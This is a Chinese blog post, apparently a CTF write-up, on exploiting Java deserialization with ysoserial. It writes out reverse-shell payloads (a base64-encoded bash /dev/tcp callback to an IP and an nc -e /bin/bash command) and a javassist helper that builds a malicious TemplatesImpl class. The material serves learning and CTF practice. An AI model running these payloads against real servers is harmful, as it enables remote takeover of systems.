首页后端开发JAVAJava 反弹 shell 与 Runtime.getRuntime().exec() 的故事

Java 反弹 shell 与 Runtime.getRuntime().exec() 的故事

时间2023-07-06 05:10:02发布访客分类JAVA浏览693
导读:Java 反弹 shellJava 反弹 shell 与 Runtime.getRuntime( .exec( 的故事0x01 前言其实还有好多文章在🕊之中,但还是把懒癌赶走,决定先把这篇文章写完;这篇文章虽然是个踩坑合集里面的文章,但是...

Java 反弹 shell

Java 反弹 shell 与 Runtime.getRuntime().exec() 的故事

0x01 前言

其实还有好多文章在🕊之中,但还是把懒癌赶走,决定先把这篇文章写完;这篇文章虽然是个踩坑合集里面的文章,但是也打算自己手动改一改 yso 的链子。

说真的,太坑了。 大部分还是因为我自己的原因

一切的一切都是源于这道题目 ez_java_serialize - Bugku CTF,还有我自己的烂基础

0x02 叙事论

起初打这道题目,看了一位师傅的 WP,全网只有这位师傅有 WP,我这里先挂一下链接,这位师傅描述的内容大致上是没问题的,但是有几点因为描述不清楚,踩坑了。

https://blog.csdn.net/qq_40646572/article/details/124128238

构造 payload 都没啥问题,关键是在传参的时候,非常必要的一点是,要对加号 ———— + 进行 URL 编码

0x03 关于 yso 的使用

一般的命令是这样的:

java -jar ysoxxx.jar 要打的链子 "命令" |base64 -w0

base64 是 base64 编码,-w0 是让它不要换行

  • 简单的两个弹 shell 语句

这是 bash -i

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}
|{
base64,-d}
|{
bash,-i}
" |base64 -w0

这是 nc 的

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "nc xxx xx -e /bin/bash" |base64 -w0

最好在 Linux 下操作

0x04 为什么自己写的 PoC 有时候收不到回显,尤其是弹 shell 的

  • 这其实是和 Runtime.getRuntime().exec() 的机制是有关系的

Runtime.getRuntime().exec() 总共有六个重载方法

public Process exec(String command) throws IOException {
    
        return exec(command, null, null);

}


public Process exec(String command, String[] envp) throws IOException {
    
        return exec(command, envp, null);

}


public Process exec(String command, String[] envp, File dir)
        throws IOException {
    
        if (command.length() == 0)
            throw new IllegalArgumentException("Empty command");
    

        StringTokenizer st = new StringTokenizer(command);
    
        String[] cmdarray = new String[st.countTokens()];
    
        for (int i = 0;
     st.hasMoreTokens();
     i++)
            cmdarray[i] = st.nextToken();
    
        return exec(cmdarray, envp, dir);

}


public Process exec(String cmdarray[]) throws IOException {
    
        return exec(cmdarray, null, null);

}


public Process exec(String[] cmdarray, String[] envp) throws IOException {
    
        return exec(cmdarray, envp, null);

}


public Process exec(String[] cmdarray, String[] envp, File dir)
        throws IOException {
    
        return new ProcessBuilder(cmdarray)
            .environment(envp)
            .directory(dir)
            .start();

}

但不管哪个方法,最后都是调用执行 exec(String[] cmdarray, String[] envp, File dir)

说了这么多,其实还没到点儿上,我们现在亟待解决的问题是 我们直接传入字符串不能直接进行命令执行,其实有下面几个原因

照搬照抄的东西就不复制了,挂个链接,感兴趣的师傅可以看一下

https://www.jianshu.com/p/ae3922db1f70

如何让自己的 PoC 成功有效

这里我觉得还是有必要说一下关于命令执行的几种方式

最常用的应该是动态加载字节码了,在动态加载字节码里面,CC2,CC3,CC4,CB1 这几条链子是动态加载字节码的,后续要分析的 ROME 链子也是如此。这里我们就先要生成字节码,关于生成字节码的程序,用 javassist 确实是很不错,EXP 如下

这个 EXP 是杰哥给我的,我滴杰哥总是话虽不多,但是都很命中要害。

public static byte[] getTemplatesImpl(String cmd) {
  
    try {
      
        ClassPool pool = ClassPool.getDefault();
      
        CtClass ctClass = pool.makeClass("Evil");
      
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
      
        ctClass.setSuperclass(superClass);
      
        CtConstructor constructor = ctClass.makeClassInitializer();
  
        constructor.setBody(" try {
    \n" +  
                " Runtime.getRuntime().exec(\"" + cmd +  
"\");
\n" +
                " }
 catch (Exception ignored) {
\n" +  
                " }
    ");
  
        // "new String[]{
\"/bin/bash\", \"-c\", \"{
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}
|{
base64,-d}
|{
bash,-i}
\"}
    "  
 byte[] bytes = ctClass.toBytecode();
      
        ctClass.defrost();
      
        return bytes;
  
    }
 catch (Exception e) {
      
        e.printStackTrace();
  
        return new byte[]{
}
    ;
  
    }
  
}
    

这里弹成功了,舒畅

0x05 关于 ysoserial 改写的踩坑点

其实这和之前我讲的弹 shell 要的注意点是大同小异的,可以参考书鱼师傅的这篇文章

https://ctf.org.cn/2020/06/17/JAVA4-%E6%94%B9%E5%86%99ysoserial%E8%A7%A3%E5%86%B3%E5%B8%B8%E8%A7%84shell%E5%A4%B1%E6%95%88%E9%97%AE%E9%A2%98/

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!

javashellexecruntime编码

若转载请注明出处: Java 反弹 shell 与 Runtime.getRuntime().exec() 的故事
本文地址: https://pptw.com/jishu/291322.html
atan2函数详解c语言 c语言中atan函数怎么用 Java 反序列化打内存马

游客 回复需填写必要信息